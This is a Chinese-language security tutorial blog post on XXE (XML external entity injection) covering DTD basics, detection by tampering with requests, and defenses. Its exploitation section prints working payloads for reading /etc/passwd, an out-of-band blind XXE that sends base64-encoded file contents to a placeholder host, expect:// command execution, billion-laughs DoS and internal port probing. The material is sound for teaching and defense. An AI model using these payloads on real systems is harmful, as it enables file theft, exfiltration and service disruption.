• 说说XXE漏洞那些事


    想不起来写点啥了,又是摸鱼的一天,看了一些红队大佬们整理的资料,非常精彩,于是一个咸鱼翻身先选了一些简单的小点来写一写个人的感想(后续会继续更新其他内容)

    不能说写的是技术分享,因为师傅们的文章珠玉在前,也都不是什么新东西,就说说个人的理解,争取能清晰明了地表达出来想说的内容

     

    今天从XXE开始,虽然XXE并不常见(个人感觉),但还是有一讲的必要

    0x01 前言

    XXE(XML External Entity Injection)全称为XML外部实体注入,这里强调的概念是“外部实体”与“XML”

    要想完全说明这个漏洞,有必要先理清楚这两个概念

    先说第一个概念:什么是XML?

    这个。。。都知道,不需要我多说,指的是可扩展标记语言(EXtensible Markup Language),用来传输和存储数据,是一种允许用户对自己的标记语言进行定义的源语言

    XML有自己的结构,包括:XML声明、DTD文档类型定义(可选)、文档元素

    例如:

    再说第二个概念:什么是外部实体?

    说实体之前,要先说DTD

    如上图所示,xml的格式规范由DTD(document type definition)控制

    DTD可以像图片那样嵌入在XML中(内部声明,格式为  <!DOCTYPE 根元素 [元素声明]>)

    例如:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to      (#PCDATA)>
      <!ELEMENT from    (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body    (#PCDATA)>
    ]>
    <note>
      <to>George</to>
      <from>John</from>
      <heading>Reminder</heading>
      <body>Don't forget the meeting!</body>
    </note>

    也可以独立的放在另外一个单独的文件中(外部引用,格式为  <!DOCTYPE 根元素 SYSTEM "文件名">)    (也可以结合使用如:<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>)

    例如:

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note> 
    

    而note.dtd的内容为:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

    其中存在

    PCDATA
    PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
    被解析的字符数据不应当包含任何&<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换
    CDATA
    CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

    上面例子中的都是PCDATA的,而且都用了ELEMENT元素的声明

    这里有很多人说得不清楚(关于DTD,可以参考详细的教程:https://www.w3cschool.cn/dtd/dtd-elements.html)

    事实上,DTD可以有元素(ELEMENT)、有属性(ATTLIST)、有实体(ENTITY),这个实体就是我们着重要说的地方,另外两个就不展开了

    这是一个DTD中的元素声明<!ELEMENT from (#PCDATA)>

    这是一个DTD中的属性声明<!ATTLIST payment type CDATA "check">

    这是一个DTD中的实体声明<!ENTITY king "Donald Trump">

    实体是用于定义引用普通文本或特殊字符的快捷方式的变量,一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)

     

    按照使用方式分类可以分为:内部(声明)实体外部(引用)实体

    内部实体(<!ENTITY 实体名称 "实体的值">)参考:

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
        <!ENTITY writer "Dawn">
    ]>
    <test>&writer;</test>

    外部实体(<!ENTITY 实体名称 SYSTEM "URI/URL"><!ENTITY 实体名称 PUBLIC "public_ID" "URI">)参考:

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
        <!ENTITY file SYSTEM "file:///etc/passwd">
    ]>
    <author>&file;</author>

    (现在可以回答上前文的内容了,什么是外部实体?这就是外部实体)

    外部实体支持的协议根据程序不同而不同(下图仅供参考。。。)

    或者

    根据实体有无参,分成通用实体参数实体

    通用实体

    &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

    例如:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
    <updateProfile>  
        <firstname>Joe</firstname>  
        <lastname>&file;</lastname>  
        ... 
    </updateProfile>

    参数实体

    (1)使用 % 实体名(这里面有一个空格不能缺) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
    (3)和通用实体一样,参数实体也可以外部引用

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
    %an-element; %remote-dtd;

    总结一下,就是

    参数实体用% 实体名称声明,引用时也用%实体名称

    其余实体直接用实体名称声明,引用时用&实体名称

    参数实体只能在DTD中声明,在DTD中引用

    其余实体只能在DTD中声明,可在xml中引用

    至此,有关XXE漏洞的全部前言基础知识部分说完了

    至于其他的,为了精简,就不在这次的讨论范围中了

    0x02发现&原理

    那么什么是XXE漏洞,或者说XXE漏洞的本质是什么?

    正如前文所说,XXE(XML External Entity Injection)全称为XML外部实体注入

    它发生在应用程序解析XML 输入时,没有禁止对外部实体的加载,导致加载了恶意的外部文件与代码,造成了任意文件读取、命令执行、内网端口探测、攻击内网等危害

    本质和所有漏洞产生的本质一样,未对用户的恶意输入进行检测而直接带入并进行了操作

    那XXE漏洞发生在哪呢?

    因为是基于XML的漏洞,所以数据交互过程中是一定存在XML解析的

    比如最简单的,抓包发现传的数据是XML格式的,且返回包能正常返回数据,说明服务端代码可以支持XML解析

    我把这个XML格式的数据改成恶意的引用外部实体的数据,看返回包是不是也一块解析了?如果是,这就是一个经典的XXE

    正常的数据包

    POST /xxxxx HTTP/1.1
    Host: www.xxx.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: xxxxxxx
    Accept-Language: en-US,en;q=0.5
    Referer: https://xxx.com/xxx.html
    Content-Type: application/xml
    Content-Length: xxx
    Cookie: mycookie=cookies;
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    <?xml version="1.0"?>
    <catalog>
       <core id="123">
          <author>lcx</author>
          <description>XML</description>
       </core>
    </catalog>

    修改后的数据包

    POST /xxxxx HTTP/1.1
    Host: www.xxx.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: xxxxxxx
    Accept-Language: en-US,en;q=0.5
    Referer: https://xxx.com/xxx.html
    Content-Type: application/xml
    Content-Length: xxx
    Cookie: mycookie=cookies;
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    <?xml version="1.0"?>
    <!DOCTYPE xxx [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <catalog>
       <core id="123">
          <author>lcx</author>
          <description>&xxe;</description>
       </core>
    </catalog>

    如果存在XXE,那么就会从返回包中看到/etc/passwd中的内容

    上面举的例子中,Content-Type是application/xml

    现在json格式可能多一些,Content-Type是application/json

    那是不是可以考虑把Content-Type改成application/xml试试呢?万一呢

    原来

    POST /xxx HTTP/1.1
    Host: xxxxx.com
    Accept: application/json
    Content-Type: application/json
    Content-Length: xxx
    
    {"search":"name","value":"123"}

    尝试

    POST /xxx HTTP/1.1
    Host: xxxxx.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: xxx
    
    {"search":"name","value":"123"}

    xxe攻击

    POST /xxx HTTP/1.1
    Host: xxxxx.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: xxx
    
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <search>name</search>
    <value>&xxe;</value>
    </root>

    看返回包读取/etc/password

    虽然可能性不大,但是可以试试

    但是很多情况下,很不幸是没有回显的,我们无法通过返回包直接看到我们想看到的东西,比如看不到返回包里有/etc/passwd的结果

    这就属于blind XXE了,这个问题留到下一小点利用的时候讨论

    0x03利用

    现在说说XXE究竟能干点啥,有多大能耐,有什么利用姿势?

    1.文件读取

    有回显的文件读取,上一小点已经说过,最基本的利用自不必说

    可以解决一下上一小点结尾处的问题,没有回显或者回显报错怎么办?

    答:可以采用OOB带外数据传输(话说与Blind相关的利用,万物皆可OOB,遇事不决OOB)

    首先补充一个学到的小知识(详细参考文末参考链接)

    如果想要读取的文件充满了符号,像这样乱七八糟的

     正常读取可能会报错

    学习大佬的经验,采用之前一直没提过的CDATA、参数实体来绕过

    例如

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
    %dtd; ]> 
    
    <roottag>&all;</roottag>

    evil.dtd中

    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">

    说回 无回显读取

    还是借助大佬的例子说明

    payload

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>

    test.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

    注意几个问题

    (1)例子中连续调用三个实体%remote;%int;%send;  ,是先通过%remote;调用test.dtd,再通过%int;调用test.dtd中的%file;,%file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send ,再调用 %send; 把读取到的数据发送到远程 vps 上,实现了带外数据的效果  

    (2)&#37;为%的HTML实体编码,实体中不要有%

    然后我在VPS上nc -lvvp 9999 监听,会收到base64编码后的敏感文件test.txt的内容信息

    实际上blind XXE还有很多写法,上面的例子只是其中一种

    比如还有这么用的

    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
            <!ENTITY % f SYSTEM "http://ip/test.dtd">
            %f;
    ]>
    <a>&b;</a>
    $data = simplexml_load_string($xml);
    print_r($data);

    test.dtd

    <!ENTITY b SYSTEM "file:///etc/passwd">

    2.命令执行

     在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>

    实际上。。。额,只能说罕见

    3.Dos

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

    有名的billion laughs attack,用到了递归引用

    4.内网端口探测

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>

    可以改变端口号来探测端口开放情况

    常见的利用就说这些了

    还有一些不常见的利用方式可以参考文末参考链接

    0x04 防御

     1.禁用外部实体方法

    PHP

    libxml_disable_entity_loader(true);

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

     Python

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))  

    2.黑名单过滤

    <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

     参考文章:

    https://xz.aliyun.com/t/3357

    https://www.cnblogs.com/zhaijiahui/p/9147595.html

    https://xz.aliyun.com/t/6887

    https://www.cnblogs.com/r00tuser/p/7255939.html

    未经允许,禁止转载

  • 相关阅读:
    join()方法作用
    多线程的运行状态
    守护线程和非守护线程
    多线程快速入门
    Spring Boot2.0之注解方式启动Springmvc
    Spring Boot2.0之 原理—创建内置Tomcat容器
    Spring Boot2.0之纯手写框架
    Sprin Boot2.0之整合Mybatis整合分页插件
    linux下通过acl配置灵活目录文件权限(可用于ftp,web服务器的用户权限控制)
    PHP编程效率的20个要点
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14542222.html
Copyright © 2020-2023  润新知